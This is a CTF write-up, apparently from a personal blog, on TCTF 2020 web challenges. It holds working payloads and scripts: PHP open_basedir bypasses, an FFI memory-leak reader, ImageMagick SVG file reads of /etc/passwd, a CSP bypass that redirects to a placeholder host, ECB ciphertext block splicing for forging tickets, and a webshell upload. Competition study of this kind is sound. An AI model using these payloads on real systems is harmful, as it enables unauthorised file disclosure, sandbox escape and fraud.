实习前的最后一场ctf, 老年退役选手了(
菜是原罪
easyphp
开局一个shell
<?php if (isset($_GET['rh'])) { eval($_GET['rh']); } else { show_source(__FILE__); }
|
先看phpinfo
http://pwnable.org:19260/?rh=phpinfo();
|
信息如下
version: 7.4.5 Server: FPM/FastCGI disable_classes: ReflectionClass disable_functions: set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl open_basedir: /var/www/html
|
首先存在open_basedir, 我们先尝试能不能绕过他, 目前已知的两种poc如下
- https://skysec.top/2019/04/12/%E4%BB%8EPHP%E5%BA%95%E5%B1%82%E7%9C%8Bopen-basedir-bypass
mkdir('cjm00n'); chdir('cjm00n'); ini_set('open_basedir','..'); chdir('..'); chdir('..'); chdir('..'); chdir('..'); chdir('..'); chdir('..'); ini_set('open_basedir','/'); var_dump(base64_encode(file_get_contents('/etc/passwd')));
|
- https://bugs.php.net/bug.php?id=77850
mkdir('/var/www/html/a/b/c/d/e/f/g/',0777,TRUE); symlink('/var/www/html/a/b/c/d/e/f/g','foo'); ini_set('open_basedir','/var/www/html:bar/'); symlink('foo/../../../../../../','bar'); unlink('foo'); symlink('/var/www/html/','foo'); echo file_get_contents('bar/etc/passwd');
|
但是存在问题两个问题
- 当前目录
/var/www/html
无法创建文件和文件夹
ini_set
被禁止
其中第二个问题可以使用ini_alter
代替, 但是第一个问题无法解决

然后想尝试通过php-fpm来bypass
https://www.secpulse.com/archives/106525.html#openbasedir-bypassfast-cgi
https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html#php-fpmfastcgi
这里的话需要使用SSRF来进行攻击(因为无法创建文件), 然后设置SCRIPT_NAME
为php://input
来任意执行
首先需要得到fpm的连接路径, 一般有两种模式
- unix模式, 形如
unix://var/run/php/php7.4-fpm.sock
- tcp模式, 形如
tcp://127.0.0.1:9000
但是经过不断的fuzz之后发现, 我们获取不到fpm的连接路径, tcp没有开放, unix也没有, 因此这条路走不通
后面发现有人打穿了open_basedir, 将其置空, 使得其他人可以成功上车, 只是目前还不清楚怎么置空
看了第二题的flag, 应该是还是fpm的思路, 但是phpinfo()中的supervisor.sock访问会报权限不足…不知道如何攻击(
蚁剑只能连接POST马, 可以用如下的url
http://pwnable.org:19260/?rh=eval($_POST[cj]);
|
使用的是蚁剑的ExecScript
插件
首先使用glob:///*
来列目录

然后直接读取flag.so

比赛后车开走了, 用的比赛时的截图
base64解码后直接strings获取flag

flag{FFi_1s_qu1T3_DANg1ouS}
可以看到flag里面的预期解是FFI, 首先看phpinfo里面, 开启了FFI

而FFi::load
是无视open_basedir
的, 我们可以直接利用FFI::load
来加载/flag.h
但是有个问题在于, 我们无法获取函数的定义, 无法对ffi对象进行操作, 这里需要bypass open_basedir, 但是假设我bypass了, 直接读/flag.so
不好吗…
预期解应该是飘零师傅提到的内存泄露的做法, 参见下一题
not easy php
上一题的升级版, 依然是shell开局
<?php if (isset($_GET['rh'])) { eval($_GET['rh']); } else { show_source(__FILE__); }
|
继续收集信息, 如下
version: 7.4.7 Server: Apache 2.0 Handler disable_classes: CURLFile,PDO,finfo,SQLite3,SoapClient,SoapServer,ZipArchive,Imagick,SNMP,DirectoryIterator,SplFileInfo,Reflection,ReflectionClass,Directory disable_functions: chdir,imagecreatefromgd2part,fclose,file_put_contents,imagecreatefromgd2,sqlite_popen,fwrite,chgrp,xml_parser_create_ns,ini_get,pcntl_wifexited,openlog,linkinfo,apache_child_terminate,copy,zip_open,socket_bind,proc_get_status,stream_socket_accept,pcntl_get_last_error,pcntl_wtermsig,parse_ini_file,shell_exec,apache_get_modules,readdir,sqlite_open,syslog,pcntl_strerror,imap_open,error_log,passthru,fopen,pcntl_wexitstatus,dir,pcntl_wifstopped,ignore_user_abort,pcntl_wait,link,xml_parse,pcntl_getpriority,ini_set,imagecreatefromxpm,imagecreatefromwbmp,pcntl_wifsignaled,pcntl_sigwaitinfo,curl_init,socket_create,rename,pcntl_signal_get_handler,apache_setenv,sleep,ini_get_all,parse_ini_string,realpath,apache_reset_timeout,curl_exec,pcntl_signal_dispatch,putenv,ftp_exec,pcntl_exec,imagecreatetruecolor,get_cfg_var,dl,stream_socket_server,popen,pcntl_waitpid,chown,ini_restore,ini_alter,pcntl_signal,glob,pcntl_sigtimedwait,zend_version,imagecreatefrompng,set_time_limit,pcntl_fork,mb_send_mail,system,pcntl_setpriority,pcntl_async_signals,imap_mail,pfsockopen,imagecreatefromwebp,pcntl_alarm,pcntl_wstopsig,exec,virtual,ftp_connect,stream_socket_client,fsockopen,imagecreatefromstring,apache_get_version,readlink,pcntl_wifcontinued,xml_parser_create,imagecreatefromxbm,proc_open,pcntl_sigprocmask,curl_multi_exec,mail,chmod,apache_getenv,chroot,bindtextdomain,ld,symlink open_basedir: /var/www/html
|
增加了大量的disable_functions
, 关键找不到车可以上了(55555
参考了飘零师傅的做法 https://skysec.top/2020/06/27/2020-TCTF-Online-Web-WriteUp/#noeasyphp
这题改成了apache的环境, 彻底断绝了我的fpm想法
glob依然可用

我们依然没有文件夹的相关权限, 那么FFI看起来像是唯一的出路
需要的内容是 如何获取函数定义(函数名)
https://www.php.net/manual/zh/book.ffi.php
可以看到有FFI相关的函数

并且存在许多内存操作的函数, 这也符合FFI是调用C语言的特性
同时FFI曾经出现过内存泄漏的漏洞 https://bugs.php.net/bug.php?id=78762 (已修复)
因此这里可以想到也有内存泄露的可能
先放上飘零师傅的leak脚本
<?php try { $ffi=FFI::load("/flag.h"); $a = $ffi->new("char[8]", false); $a[0] = 'f'; $a[1] = 'l'; $a[2] = 'a'; $a[3] = 'g'; $a[4] = 'f'; $a[5] = 'l'; $a[6] = 'a'; $a[7] = 'g'; $b = $ffi->new("char[8]", false); $b[0] = 'f'; $b[1] = 'l'; $b[2] = 'a'; $b[3] = 'g'; $newa = $ffi->cast("void*", $a); var_dump($newa); $newb = $ffi->cast("void*", $b); var_dump($newb); $addr_of_a = FFI::new("unsigned long long"); FFI::memcpy($addr_of_a, FFI::addr($newa), 8); var_dump($addr_of_a); $leak = FFI::new(FFI::arrayType($ffi->type('char'), [102400]), false); FFI::memcpy($leak, $newa-0x20000, 102400); $tmp = FFI::string($leak,102400); var_dump($tmp); } catch (FFI\Exception $ex) { echo $ex->getMessage(), PHP_EOL; }
|
结合内容来进行解析, 首先是申请了两段char[8]
内存, 并且不会自动free
$a = $ffi->new("char[8]", false); $a[0] = 'f'; $a[1] = 'l'; $a[2] = 'a'; $a[3] = 'g'; $a[4] = 'f'; $a[5] = 'l'; $a[6] = 'a'; $a[7] = 'g'; $b = $ffi->new("char[8]", false); $b[0] = 'f'; $b[1] = 'l'; $b[2] = 'a'; $b[3] = 'g';
|
这段是将前面申请的两端内容进行了类型转换, 然后返回新的数据结构
$newa = $ffi->cast("void*", $a); var_dump($newa); $newb = $ffi->cast("void*", $b); var_dump($newb);
|
这段是申请了一个用于存放地址的内存, 然后使用FFI::add
将前面创建的内存块转换为指针, 并使用FFI::memcpy
复制新建的地址块中
$addr_of_a = FFI::new("unsigned long long"); FFI::memcpy($addr_of_a, FFI::addr($newa), 8); var_dump($addr_of_a);
|
这一段是关键, 首先申请了一段内存用来放数据, 类型是一段长为102400的char
这里的char也可以使用FFI::type(‘char’)
然后将$newa
的首地址往前推0x20000
, 并复制102400
到leak
, 之后转换为string
输出
$leak = FFI::new(FFI::arrayType($ffi->type('char'), [102400]), false); FFI::memcpy($leak, $newa-0x20000, 102400); $tmp = FFI::string($leak,102400); var_dump($tmp);
|
那么我们仔细分析一下就可以知道, 实际上我们只需要下面几步
- 申请一个内存作为基地址
- 申请一块内存用于存放复制的数据
- 将基地址往前偏移, 并复制到第2步申请的内存中
- 转换第3步复制后的内存为php的string类型, 并打印
try { $ffi=FFI::load("/flag.h"); $a = $ffi->new("char[8]", false); $leak = FFI::new(FFI::arrayType(FFI::type('char'), [102400]), false); FFI::memcpy($leak, $a-0x24000, 102400); $tmp = FFI::string($leak,102400); var_dump($tmp); } catch (FFI\Exception $ex) { echo $ex->getMessage(), PHP_EOL; }
|
和队友@crzz讨论了一下, 还可以更短, 直接将leak作为基地址
try { $ffi=FFI::load("/flag.h"); $leak = FFI::new("char[0x50000]", false); FFI::memcpy($leak, $leak-0x50000, 0x50000); $tmp = FFI::string($leak,0x50000); var_dump($tmp); } catch (FFI\Exception $ex) { echo $ex->getMessage(), PHP_EOL; }
|
python脚本发包
import requests import re import json
url = "http://pwnable.org:19261/" sess = requests.Session()
def exp(): param = { "rh": ''' try { $ffi=FFI::load("/flag.h"); $a = $ffi->new("char[8]", false); $leak = FFI::new(FFI::arrayType(FFI::type('char'), [102400]), false); FFI::memcpy($leak, $a-0x24000, 102400); $tmp = FFI::string($leak,102400); var_dump($tmp); } catch (FFI\Exception $ex) { echo $ex->getMessage(), PHP_EOL; } ''' } resp = sess.get(url, params=param).text print(resp) open("out", "w", encoding="utf-8").write(resp)
if __name__ == "__main__": exp()
|
运行之后会顺利的拿到flag的函数

和上题一样执行即可

膜一波飘零师傅
wechat generator
题目长这样

点击preview会生成一个svg图片以及一段uuid


点击share之后会生成一个随机字符串来表示图片

fuzz之后发现后缀名可以更改, 只要都是3个字符, 例如png
, pdf
, psd
, htm
并且我们可以在pdf中查找到后端使用的组件为imagemagick

也可以添加表情

对应的svg内容如下

这里是用了xlink:href
来应用外部的文件, 那么是不是也可以同样用来引用内部文件呢
可以使用text:
来引入内部文件
data=[{"type":0,"message":"222Love you!"},{"type":1,"message":"11Me too!!![1111\"/><image height=\"700\" width=\"700\" xlink:href=\"text:/etc/passwd\"/>]"}]
|
然后查看对应的png

读flag

由于是python, 我们读一下他的源码 /app/app.py

可以看到有个路由
http://pwnable.org:5000/SUp3r_S3cret_URL/0Nly_4dM1n_Kn0ws
|
过滤
CSP
Content-Security-Policy: img-src * data:; default-src 'self'; style-src 'self' 'unsafe-inline'; connect-src 'self'; object-src 'none'; base-uri 'self'
|
meta绕过即可
data=[{"type":0,"message":"222Love you!"},{"type":1,"message":"11Me too!!![1111\"/><memetata http-equiv=\"refresh\" content=\"0; url=http://ip:port/1.html\"></memetata>]"}]
|


flag{5Vg_1s_Pow3rFu1_y3T_D4n93r0u5_eba66e10}
Lottery
这道题蛮好玩的2333

注册后登录即可

可以看到有购买彩票的地方, 我们只有30个coin, 而flag需要99个, 这道题和ADworld的Lottery
有点类似, 因此一开始先做了fuzz, 发现没有源码泄露的问题, 我们需要分析一下接口
点击购买后会扣除我们10个coin, 此时会发送一个数据包到/lottery/buy
, 并返回一个enc

然后进入兑换页面, 发现enc在url里面

并且同样发送一个包进行enc的解密

点击charge后, 会发送一个包进行兑换, 成功则返回为空

买彩票的钱会在购买的时候就扣除, 因此我们如果可以用其他账户来买彩票, 再把这张彩票兑换给我们, 就可以白嫖钱了
我们对charge接口进行测试, 分别替换了user
和coin
, 发现均有对应的检测
那么我们就需要猜测enc的加密方式
7DlzPopy7SU3dnoncB+VNornXlOxkUGEkkFdT2H856wiKLsXYtDEo2q4vLZb0/sNuEKmrvMuTwSwCWDB4K59tNabO8NE6rKn+uGYsRaoW7QgjSVnfHSRWRG2F0fjxVcuvCi6zxwfMPznx0nzJw2NdPbSt9reYD8AcCI4hIXsxZg=
|
enc长度为172位, base64解密后为128位, 猜测明文为info接口返回的信息, 也就是
{"info":{"lottery":"73298a99-0360-4b68-8a6a-8c08641d00f8","user":"f2d76d9b-66ad-48b5-9c55-a4c8a174feda","coin":2}}
|
而对应不同的彩票, 相同的用户, 最后一段内容和中间一段的内容都是一样的

我们将明文按照16位一组分组, 可以发现可以分为8组, 其中最后一组为}}

那么我们可以推断, 加密模式应该是ECB模式, 如果是CBC的话, 最后一段也会变化
第一种思路是爆破coin对应的那个位, 修改coin, exp如下
import requests import re import json from base64 import b64encode, b64decode from Crypto.Util.number import bytes_to_long, long_to_bytes
url = "http://pwnable.org:2333/lottery/info" sess = requests.Session() cookie = { "api_token": "QozxQiE0mbT6jIR0oluMzeig793YFFZF" } sess.cookies.update(cookie) def fuzz(): enc = b64decode(b"xgJRlnQXtB3pHJw5Q+2yt57yzF3ZRd+igODLnA1OvVtsKo4ZmFO58H3uZQz2HWxYTidvByiyV5UB5mtk+0w1VoKYw3HxgNPOPKUkQWiUYuA5CRDA5cTW0yEkYQYVgIgVsPXa+yZ+jcS0xGCXaxFFH/bSt9reYD8AcCI4hIXsxZg=") length = len(enc) for i in range(length - 36, length - 15): print(f"[*] fuzz at {i}") raw = enc[i] for j in range(0, 255): if j == raw: continue enc_new = enc[:i] + bytes([j]) + enc[i + 1:] if len(enc_new) != length: print(enc_new) raise ValueError("Length error {} & {} at {}".format(len(enc), length, j)) data = b64encode(enc_new) resp = sess.post(url, data={"enc": data}).text if "invalid" not in resp: print("\t[+] raw: {} & j: {}".format(raw, j)) print("\t[+] resp {}".format(resp))
|
然后发现没有找到对应的那个对应的位, 改变了之后都会返回invalid
第二种思路就是移花接木, 彩票中有三部分, 分别是彩票的uuid, 用户的uuid, coin的大小
先选择两张彩票
enc1 = "FfsxxldvJ8u53Dc6i2rkMqvuxD+GS06x3wtnCPGBZkpSULd7QKA6Ja7slxhXAiC+AnMmAI10rU71Ftuvyltv1N3mr4L/dT5Vc3VJnqrhi7TCTNj02SA6G+FfFzpUbDVXSxWrrUTkeE7WUzj1O0N+m/bSt9reYD8AcCI4hIXsxZg="
enc2 = "lsbDIgDxtNV3Cge5n2rCZJ+odGGYyAaj1r08z6sDuy3kNnoUoBrL1JqPxfUY3vnndCpK+bRKrJwKCb6ODFkiVtUndlUtONUoRv79qDwqtWFwf3DmaP+doWdoh9hzmTLLu8u7/+zR4ovV0hQqbtpNnfbSt9reYD8AcCI4hIXsxZg="
|
然后将彩票1的前面一部分和彩票2的后面一部分拼接在一起, 构造一张新的彩票
def change_user(): enc1 = "FfsxxldvJ8u53Dc6i2rkMqvuxD+GS06x3wtnCPGBZkpSULd7QKA6Ja7slxhXAiC+AnMmAI10rU71Ftuvyltv1N3mr4L/dT5Vc3VJnqrhi7TCTNj02SA6G+FfFzpUbDVXSxWrrUTkeE7WUzj1O0N+m/bSt9reYD8AcCI4hIXsxZg=" enc2 = "lsbDIgDxtNV3Cge5n2rCZJ+odGGYyAaj1r08z6sDuy3kNnoUoBrL1JqPxfUY3vnndCpK+bRKrJwKCb6ODFkiVtUndlUtONUoRv79qDwqtWFwf3DmaP+doWdoh9hzmTLLu8u7/+zR4ovV0hQqbtpNnfbSt9reYD8AcCI4hIXsxZg=" for bit in range(22, 120): print("[*] change last {} bytes".format(bit)) data = enc1[:-bit] + enc2[-bit:] resp = sess.post(url, data={"enc": data}).text if "invalid" not in resp: print("\t[+] resp {}".format(resp))
|
发现在下面这些位会有正确的输出
[*] change last 22 bytes [+] resp {"info":{"lottery":"ea1cfd3d-1d3d-4acd-bd86-82f3eb5c2cad","user":"b83c0a7d-8d6e-41bc-9dcc-e4ec938115a0","coin":2}} [*] change last 44 bytes [+] resp {"info":{"lottery":"ea1cfd3d-1d3d-4acd-bd86-82f3eb5c2cad","user":"b83c0a7d-8d6e-41bc-9dcc-e4ec938115cd","coin":1}} [*] change last 86 bytes [+] resp {"info":{"lottery":"ea1cfd3d-1d3d-4acd-bd86-82f3eb5c2cad","user":"b8f5990f-3dbe-4f7f-8f9b-94d10afa8fcd","coin":1}} [*] change last 108 bytes [+] resp {"info":{"lottery":"ea1cfd3d-1d3d-4acd-bd86-82f3eb5c2cac","user":"33f5990f-3dbe-4f7f-8f9b-94d10afa8fcd","coin":1}}
|
我们可以将enc进行base64解码, 每16个byte分为一组, 会发现对应的内容如下
1: lottery[:2] 2: lottery[2:18] 3: lorrery[18:34] 4: lorrery[-2:] + user[:2] 5: user[2:18] 6: user[18:34] 7: user[-2:] + coin 8:}}
|
也就是说我们无法完整的替换用户的uuid或者彩票的uuid, 假如说我们有两张彩票的uuid最后两位相同, 我们直接替换后5组(到lottery-uuid[-2:]), 对应base64后的位数就是后108位, 这样彩票依然是可用的
因此我们写脚本爆破一下, 这里使用了队友@crzz写的api
import requests import json import random import string
def register(username, password="crzz"): url = "http://pwnable.org:2333/user/register" r = requests.post(url, data={"username": username, "password": password}) return json.loads(r.text)
def login(username=None, password="crzz"): if username is None: username = ''.join(random.sample(string.ascii_letters + string.digits, 10)) print("[*] login: {}".format(username)) register(username, password) url = "http://pwnable.org:2333/user/login" r = requests.post(url, data={"username": username, "password": password}) return json.loads(r.text)
def uinfo(api_token): url = f"http://pwnable.org:2333/user/info?api_token={api_token}" r = requests.get(url) return json.loads(r.text)
def buy(api_token): url = "http://pwnable.org:2333/lottery/buy" r = requests.post(url, data={"api_token": api_token}) return json.loads(r.text)
def linfo(enc): url = "http://pwnable.org:2333/lottery/info" r = requests.post(url, data={"enc": enc}) return json.loads(r.text)
def charge(uuid, coin, enc): url = "http://pwnable.org:2333/lottery/charge" r = requests.post(url, data={"user": uuid, "coin": coin, "enc": enc}) return json.loads(r.text) def main_user(username, password="cjm00n"): u = login("cjm11n") user = u['user']['uuid'] token = u['user']['api_token'] enc = buy(u['user']['api_token'])
def get_lottery(): user = "b223a595-ef0d-48ea-8d9c-187f0a7839e0" token = "Qxq5UleIp4gPkmJIzHillnRI5PZ5PkPs" enc = "LBSaSWmiAfTmyNZBEN0YECreOlXhDToH41XHnGxNAL1lpscRMUt4mypauRjhbwfrQI3/uAKwQcL0py3/swYrWj8prcv79vrzHwftuPl6rVj2DbPIjIH9l/lmpy/8lIsKhS90GV+/4DxiMo8QNVzx7fbSt9reYD8AcCI4hIXsxZg=" pad = linfo(enc)['info']['lottery'][-2:] print("[+] last lottery is {}".format(pad)) while True: u = login() for time in range(3): e = buy(u['user']['api_token']) l = linfo(e['enc']) if l['info']['lottery'][-2:] == pad: print("\t[+] get coin: {}".format(l['info']['coin'])) new_enc = e['enc'][:-108] + enc[-108:] print("\t[+] enc: {}".format(new_enc)) print("\t[+] info: {}".format(linfo(new_enc))) print("\t[+] charge result: {}".format(charge(user, l['info']['coin'], new_enc)))
if __name__ == "__main__": get_lottery()
|
首先创建一个账户, 并买一张彩票, 收集三个对应的信息
user = "b223a595-ef0d-48ea-8d9c-187f0a7839e0" token = "Qxq5UleIp4gPkmJIzHillnRI5PZ5PkPs" enc = "LBSaSWmiAfTmyNZBEN0YECreOlXhDToH41XHnGxNAL1lpscRMUt4mypauRjhbwfrQI3/uAKwQcL0py3/swYrWj8prcv79vrzHwftuPl6rVj2DbPIjIH9l/lmpy/8lIsKhS90GV+/4DxiMo8QNVzx7fbSt9reYD8AcCI4hIXsxZg="
|
然后修改exp里面的对应的值, 就可以开始薅羊毛了

慢慢等到99, 就可以购买flag

Cloud-Computing v1
题目给了代码
<?php
error_reporting(0);
include 'function.php';
$dir = 'sandbox/' . sha1($_SERVER['REMOTE_ADDR'] . $_SERVER['HTTP_USER_AGENT']) . '/';
if(!file_exists($dir)){ mkdir($dir); }
switch ($_GET["action"] ?? "") { case 'pwd': echo $dir; break; case 'upload': $data = $_GET["data"] ?? ""; if (waf($data)) { die('waf sucks...'); } file_put_contents("$dir" . "index.php", $data); case 'shell': initShellEnv($dir); include $dir . "index.php"; break; default: highlight_file(__FILE__); break; }
|
不给看phpinfo()
首先开启报错
然后无参数RCE
?action=upload&data=%3C?=eval(getallheaders()[%22p%22]);
|
由于在sandbox中, 我们可以创建文件夹, 利用前面的bypass open_basedir即可
exp如下
import requests url = 'http://pwnable.org:47780/?action=upload&data=%3C?=eval(getallheaders()[%22p%22]);' payload="error_reporting(E_ALL);$path=substr(__FILE__,14,48);if(!file_exists($path.'/1')){{mkdir($path.'/1');}};chdir($path.'/1');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('{}'));" headers = {} while True: filename = "/flag" pl = payload.format(filename) headers['p']=pl r = requests.get(url,headers=headers) print(r.content[:500]) with open(filename.split('/')[-1],'wb') as f: f.write(r.content)
|
下载下来后解压, foremost即可获取flag.png
flag{do_u_like_cloud_computing}
Cloud-Computing v2(unsolved)
第二题代码一样, 但是disable_function更多
我们利用
var_dump(get_defined_functions(1));
|
查看可用函数, 对比后发现多禁用了如下几个函数
chdir chr dir scandir mb_send_mail ob_end_clean ob_get_contents ob_start readdir realpath
|
没有chdir, 如果利用symlink的话, 需要当前的pwd在沙箱中, 但是我们实际上的pwd在/var/www/html/index.php
, 这就很尴尬了
翻阅了 https://bugs.php.net/search.php?cmd=display&search_for=open_basedir&direction=DESC&limit=30&status=Open&begin=0
没有找到好的思路
看了 http://igml.top/2020/06/29/2020-TCTF-0CTF-%E9%83%A8%E5%88%86wp/#cloud-computing-v2
是个go逆向…跪了跪了(
amp2020(unsolved)
什么时候能做出来zsx的题呢.jpg
https://github.com/zsxsoft/my-ctf-challenges/tree/master/0ctf2020/amp2020
参考链接
- https://skysec.top/2020/06/27/2020-TCTF-Online-Web-WriteUp/
- http://igml.top/2020/06/29/2020-TCTF-0CTF-%E9%83%A8%E5%88%86wp/
- https://github.com/hyperreality/ctf-writeups/blob/master/2020_tctf/README.md
作者: cjm00n
地址: https://cjm00n.top/CTF/tctf-2020-wp.html
版权声明: 除特别说明外,所有文章均采用 CC BY 4.0 许可协议,转载请先取得同意。
评论